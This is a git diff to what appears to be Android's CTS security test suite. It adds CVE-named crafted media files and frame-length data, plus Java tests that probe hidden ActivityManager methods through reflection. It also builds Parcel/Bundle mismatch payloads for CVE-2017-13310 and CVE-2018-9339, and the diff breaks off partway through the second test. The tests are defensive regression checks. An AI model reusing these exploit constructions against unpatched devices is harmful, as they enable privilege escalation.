index 0000000..ff6ce03
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33250932_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36279112.mp4 b/tests/tests/security/res/raw/bug_36279112.mp4
new file mode 100644
index 0000000..1a970ff
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36279112.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
new file mode 100644
index 0000000..868e630
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36592202.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37203196_framelen.mp4 b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
new file mode 100644
index 0000000..223b756
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
@@ -0,0 +1,8 @@
+43
+3015
+2122
+1310
+1599
+4391
+3429
+15
diff --git a/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4 b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
new file mode 100644
index 0000000..1b59a7e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37430213.mp4 b/tests/tests/security/res/raw/bug_37430213.mp4
new file mode 100644
index 0000000..618f620
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37430213.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
new file mode 100644
index 0000000..261e173
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
new file mode 100644
index 0000000..e8f1c41
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
new file mode 100644
index 0000000..ecc10cb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
new file mode 100644
index 0000000..34851ad
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_68664359.mid b/tests/tests/security/res/raw/bug_68664359.mid
new file mode 100644
index 0000000..f816d82
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_68664359.mid
@@ -0,0 +1 @@
+DK:@~kkkkk
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_68953854.mid b/tests/tests/security/res/raw/bug_68953854.mid
deleted file mode 100644
index ce9432d6..0000000
--- a/tests/tests/security/res/raw/bug_68953854.mid
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_70239507.aac b/tests/tests/security/res/raw/bug_70239507.aac
new file mode 100644
index 0000000..9132beb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_70239507.aac
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_74114680_ts.mp4 b/tests/tests/security/res/raw/bug_74114680_ts.mp4
new file mode 100644
index 0000000..10e20bd
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_74114680_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3756.ogg b/tests/tests/security/res/raw/cve_2016_3756.ogg
new file mode 100644
index 0000000..4f366b0
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3756.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3879.mp3 b/tests/tests/security/res/raw/cve_2016_3879.mp3
new file mode 100644
index 0000000..23ca4c3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3879.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0637.mp4 b/tests/tests/security/res/raw/cve_2017_0637.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0637.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0640_avc.mp4 b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
new file mode 100644
index 0000000..71ed5dd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0696.mp4 b/tests/tests/security/res/raw/cve_2017_0696.mp4
new file mode 100644
index 0000000..651aeff
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0696.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_avc.mp4 b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
new file mode 100644
index 0000000..a627ec6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4 b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
new file mode 100644
index 0000000..5fc9458
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
@@ -0,0 +1,98 @@
+22
+130
+83
+102
+85
+97
+73
+86
+79
+80
+69
+80
+78
+82
+81
+77
+65
+85
+83
+91
+72
+88
+74
+87
+72
+66
+66
+77
+74
+94
+66
+59
+59
+70
+64
+76
+59
+88
+59
+83
+75
+72
+72
+92
+83
+77
+52
+66
+57
+57
+58
+91
+69
+86
+67
+63
+68
+89
+73
+72
+69
+58
+65
+79
+82
+0
+239
+189
+168
+151
+137
+142
+156
+127
+149
+157
+152
+151
+113
+133
+158
+104
+114
+138
+144
+147
+126
+157
+132
+107
+100
+165
+154
+112
+164
+131
+111
+143
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4 b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
new file mode 100644
index 0000000..8b4858b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13318.mp4 b/tests/tests/security/res/raw/cve_2017_13318.mp4
new file mode 100644
index 0000000..7ab776b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13318.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_17773.mp4 b/tests/tests/security/res/raw/cve_2017_17773.mp4
new file mode 100644
index 0000000..09e32c9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_17773.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18074.wma b/tests/tests/security/res/raw/cve_2017_18074.wma
new file mode 100644
index 0000000..2634a4d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18074.wma
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18155.mp4 b/tests/tests/security/res/raw/cve_2017_18155.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18155.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_11287.mp4 b/tests/tests/security/res/raw/cve_2018_11287.mp4
new file mode 100644
index 0000000..796867b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_11287.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5874.mp4 b/tests/tests/security/res/raw/cve_2018_5874.mp4
new file mode 100644
index 0000000..f1656bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5874.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5875.mp4 b/tests/tests/security/res/raw/cve_2018_5875.mp4
new file mode 100644
index 0000000..c07d5d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5875.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5876.mp4 b/tests/tests/security/res/raw/cve_2018_5876.mp4
new file mode 100644
index 0000000..7f656a4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5876.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5882.flac b/tests/tests/security/res/raw/cve_2018_5882.flac
new file mode 100644
index 0000000..5089aea
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5882.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5894.mp4 b/tests/tests/security/res/raw/cve_2018_5894.mp4
new file mode 100644
index 0000000..09720c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5894.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9412.mp3 b/tests/tests/security/res/raw/cve_2018_9412.mp3
new file mode 100644
index 0000000..23391b3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9412.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9423.mp4 b/tests/tests/security/res/raw/cve_2018_9423.mp4
new file mode 100755
index 0000000..08e2387
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9423.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9474.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
new file mode 100644
index 0000000..3ff485a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10489.mp4 b/tests/tests/security/res/raw/cve_2019_10489.mp4
new file mode 100644
index 0000000..a3eba77
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10489.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10532.wmv b/tests/tests/security/res/raw/cve_2019_10532.wmv
new file mode 100644
index 0000000..4869a54
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10532.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10533.mp4 b/tests/tests/security/res/raw/cve_2019_10533.mp4
new file mode 100644
index 0000000..619a0f3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10533.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10534.mp4 b/tests/tests/security/res/raw/cve_2019_10534.mp4
new file mode 100644
index 0000000..bdcc52d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10534.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10541.mp4 b/tests/tests/security/res/raw/cve_2019_10541.mp4
new file mode 100644
index 0000000..6b1d167
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10541.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10578.mkv b/tests/tests/security/res/raw/cve_2019_10578.mkv
new file mode 100644
index 0000000..4e39345
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10578.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10579.mkv b/tests/tests/security/res/raw/cve_2019_10579.mkv
new file mode 100644
index 0000000..0b079d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10579.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10590.mp4 b/tests/tests/security/res/raw/cve_2019_10590.mp4
new file mode 100644
index 0000000..84b7981
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10590.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10591.mp4 b/tests/tests/security/res/raw/cve_2019_10591.mp4
new file mode 100644
index 0000000..73b288a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10611.mp4 b/tests/tests/security/res/raw/cve_2019_10611.mp4
new file mode 100644
index 0000000..3374e81
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10611.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14003.mkv b/tests/tests/security/res/raw/cve_2019_14003.mkv
new file mode 100644
index 0000000..973a130
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14003.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14004.mkv b/tests/tests/security/res/raw/cve_2019_14004.mkv
new file mode 100644
index 0000000..c222cf7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14004.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14005.mkv b/tests/tests/security/res/raw/cve_2019_14005.mkv
new file mode 100644
index 0000000..74d596b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14005.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14006.mkv b/tests/tests/security/res/raw/cve_2019_14006.mkv
new file mode 100644
index 0000000..37b0c0a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14006.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14016.wmv b/tests/tests/security/res/raw/cve_2019_14016.wmv
new file mode 100644
index 0000000..aeff9c1
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14016.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14017.mkv b/tests/tests/security/res/raw/cve_2019_14017.mkv
new file mode 100644
index 0000000..ad6a7ba
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14017.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14048.ts b/tests/tests/security/res/raw/cve_2019_14048.ts
new file mode 100644
index 0000000..1a79b20
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14048.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14057.mkv b/tests/tests/security/res/raw/cve_2019_14057.mkv
new file mode 100644
index 0000000..4ec7655
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14057.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14061.mkv b/tests/tests/security/res/raw/cve_2019_14061.mkv
new file mode 100644
index 0000000..ec869f2
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14061.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14127.mkv b/tests/tests/security/res/raw/cve_2019_14127.mkv
new file mode 100644
index 0000000..e9e15a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14127.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14132.mp4 b/tests/tests/security/res/raw/cve_2019_14132.mp4
new file mode 100644
index 0000000..f95a77d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
new file mode 100644
index 0000000..e8899bd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2129.3gp b/tests/tests/security/res/raw/cve_2019_2129.3gp
new file mode 100644
index 0000000..c461081
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2129.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
new file mode 100644
index 0000000..15470c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
@@ -0,0 +1,15 @@
+88
+230
+22
+103
+11
+61
+21
+122
+16
+299
+140
+165
+163
+6
+311
diff --git a/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
new file mode 100644
index 0000000..8533f1b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2244.ts b/tests/tests/security/res/raw/cve_2019_2244.ts
new file mode 100644
index 0000000..9d03265
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2244.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2253.ogg b/tests/tests/security/res/raw/cve_2019_2253.ogg
new file mode 100644
index 0000000..98fe781
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2253.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2259.mp3 b/tests/tests/security/res/raw/cve_2019_2259.mp3
new file mode 100644
index 0000000..7804a75
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2259.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2322.mkv b/tests/tests/security/res/raw/cve_2019_2322.mkv
new file mode 100644
index 0000000..8431f98
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2322.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2327.mkv b/tests/tests/security/res/raw/cve_2019_2327.mkv
new file mode 100644
index 0000000..48a8559
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2327.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2334.mkv b/tests/tests/security/res/raw/cve_2019_2334.mkv
new file mode 100644
index 0000000..7385338
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2334.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3641.mp4 b/tests/tests/security/res/raw/cve_2020_3641.mp4
new file mode 100644
index 0000000..ee66c7c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3641.mp4
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.security.cts"
+ android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 5a65d41..2fb6f6b 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,18 +15,52 @@
*/
package android.security.cts;
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
import android.os.IBinder;
+import android.os.Process;
import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
import junit.framework.TestCase;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
@SecurityTest
public class ActivityManagerTest extends TestCase {
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ private static CountDownLatch sLatch;
+ private static volatile int sNormalActivityUserId;
+ private static volatile boolean sCannotReflect;
+ private static volatile boolean sIsAppForeground;
+
+ private static final String TAG = "ActivityManagerTest";
+
@Override
protected void setUp() throws Exception {
super.setUp();
+
+ sLatch = new CountDownLatch(2);
+ sNormalActivityUserId = -1;
+ sCannotReflect = false;
+ sIsAppForeground = false;
}
+ @SecurityTest(minPatchLevel = "2015-03")
public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
try {
/*
@@ -42,4 +76,145 @@
// Patched devices should throw this exception
}
}
-}
\ No newline at end of file
+
+ // b/144285917
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testActivityManager_attachNullApplication() {
+ SecurityException securityException = null;
+ Exception unexpectedException = null;
+ try {
+ final Object iam = ActivityManager.class.getDeclaredMethod("getService").invoke(null);
+ Class.forName("android.app.IActivityManager").getDeclaredMethod("attachApplication",
+ Class.forName("android.app.IApplicationThread"), long.class)
+ .invoke(iam, null /* thread */, 0 /* startSeq */);
+ } catch (SecurityException e) {
+ securityException = e;
+ } catch (InvocationTargetException e) {
+ if (e.getCause() instanceof SecurityException) {
+ securityException = (SecurityException) e.getCause();
+ } else {
+ unexpectedException = e;
+ }
+ } catch (Exception e) {
+ unexpectedException = e;
+ }
+ if (unexpectedException != null) {
+ Log.w("ActivityManagerTest", "Unexpected exception", unexpectedException);
+ }
+
+ assertNotNull("Expect SecurityException by attaching null application", securityException);
+ }
+
+ public void testIsAppInForegroundNormal() throws Exception {
+ /* Verify that isAppForeground can be called by the caller on itself. */
+ launchActivity(NormalActivity.class);
+ sNormalActivityUserId = InstrumentationRegistry.getTargetContext().getPackageManager()
+ .getPackageUid(SECURITY_CTS_PACKAGE_NAME, 0);
+ sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+ if (sCannotReflect) return; // If reflection is not possible, pass the test.
+ assertTrue("isAppForeground failed to query for uid on itself.", sIsAppForeground);
+ }
+
+ public void testIsAppInForegroundMalicious() throws Exception {
+ /* Verify that isAppForeground cannot be called by another app on a known uid. */
+ launchActivity(MaliciousActivity.class);
+ launchSettingsActivity();
+ sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+ if (sCannotReflect) return; // If reflection is not possible, pass the test.
+ assertFalse("isAppForeground successfully queried for a uid other than itself.",
+ sIsAppForeground);
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ private void launchSettingsActivity() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(android.provider.Settings.ACTION_SETTINGS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ public static class NormalActivity extends Activity {
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ Intent intent = new Intent(this, AppMonitoringService.class);
+ intent.putExtra(AppMonitoringService.EXTRA_UID, sNormalActivityUserId);
+ startService(intent);
+ }
+ }
+
+ public static class MaliciousActivity extends Activity {
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ Intent intent = new Intent(this, AppMonitoringService.class);
+ intent.putExtra(AppMonitoringService.EXTRA_UID, Process.SYSTEM_UID);
+ startService(intent);
+ finish();
+ }
+ }
+
+ public static class AppMonitoringService extends Service {
+
+ private static final String EXTRA_UID = "android.security.cts.extra.UID";
+ private int uid;
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ uid = intent.getIntExtra(EXTRA_UID, -1);
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ public AppMonitoringService() {
+ super.onCreate();
+
+ final Handler handler = new Handler();
+ handler.postDelayed(new Runnable() {
+ public void run() {
+ try {
+ ActivityManager activityManager = (ActivityManager) getSystemService(
+ ACTIVITY_SERVICE);
+ Field field = activityManager.getClass().getDeclaredField(
+ "IActivityManagerSingleton");
+ field.setAccessible(true);
+ Object fieldValue = field.get(activityManager);
+ Method method = fieldValue.getClass().getDeclaredMethod("create");
+ method.setAccessible(true);
+ Object IActivityInstance = method.invoke(fieldValue);
+ Method isAppForeground = IActivityInstance.getClass().getDeclaredMethod(
+ "isAppForeground", int.class);
+ isAppForeground.setAccessible(true);
+ boolean res = (boolean) isAppForeground.invoke(IActivityInstance, uid);
+ if (res) {
+ sIsAppForeground = true;
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Failed to fetch/invoke field/method via reflection.", e);
+ sCannotReflect = true;
+ }
+ sLatch.countDown();
+ handler.postDelayed(this, 200);
+
+ }
+ }, 0);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ throw new UnsupportedOperationException("Not yet implemented");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index f8a2a8f..df1018a 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -32,6 +32,7 @@
* Verifies that the device is not vulnerable to ANDROID-19270126: Android
* BitmapFactory.decodeStream JPG allocPixelRef integer overflow
*/
+ @SecurityTest(minPatchLevel = "2015-03")
public void testAllocateJavaPixelRefIntOverflow() {
InputStream exploitImage = mContext.getResources().openRawResource(
R.raw.cve_2015_1531_b_19270126);
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index dc74708..e7126ed 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -22,6 +22,10 @@
import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.AbsSavedState;
+import android.view.View;
+import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
import java.io.InputStream;
@@ -33,117 +37,437 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
- @SecurityTest
+ /*
+ * b/71992105
+ */
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void test_android_CVE_2017_13310() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
+
+ (new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+
+ private String makeStringToInject(Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(VAL_INTARRAY);
+ p.writeInt(13);
+
+ for (int i = 0; i < VAL_INTARRAY / 2; i++) {
+ int paddingVal;
+ if(1 > 3) {
+ paddingVal = 0x420041 + (i << 17) + (i << 1);
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+ }
+
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/71508348
+ */
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void test_android_CVE_2018_9339() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
+ private final Parcelable smallerParcelable;
+ private final Parcelable biggerParcelable;
+
+ {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+
+ smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
+ biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
+
+ Parcel p = Parcel.obtain();
+ smallerParcelable.writeToParcel(p, 0);
+ int smallerParcelableSize = p.dataPosition();
+ biggerParcelable.writeToParcel(p, 0);
+ int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
+ p.recycle();
+
+ if (smallerParcelableSize >= biggerParcelableSize) {
+ throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
+ }
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
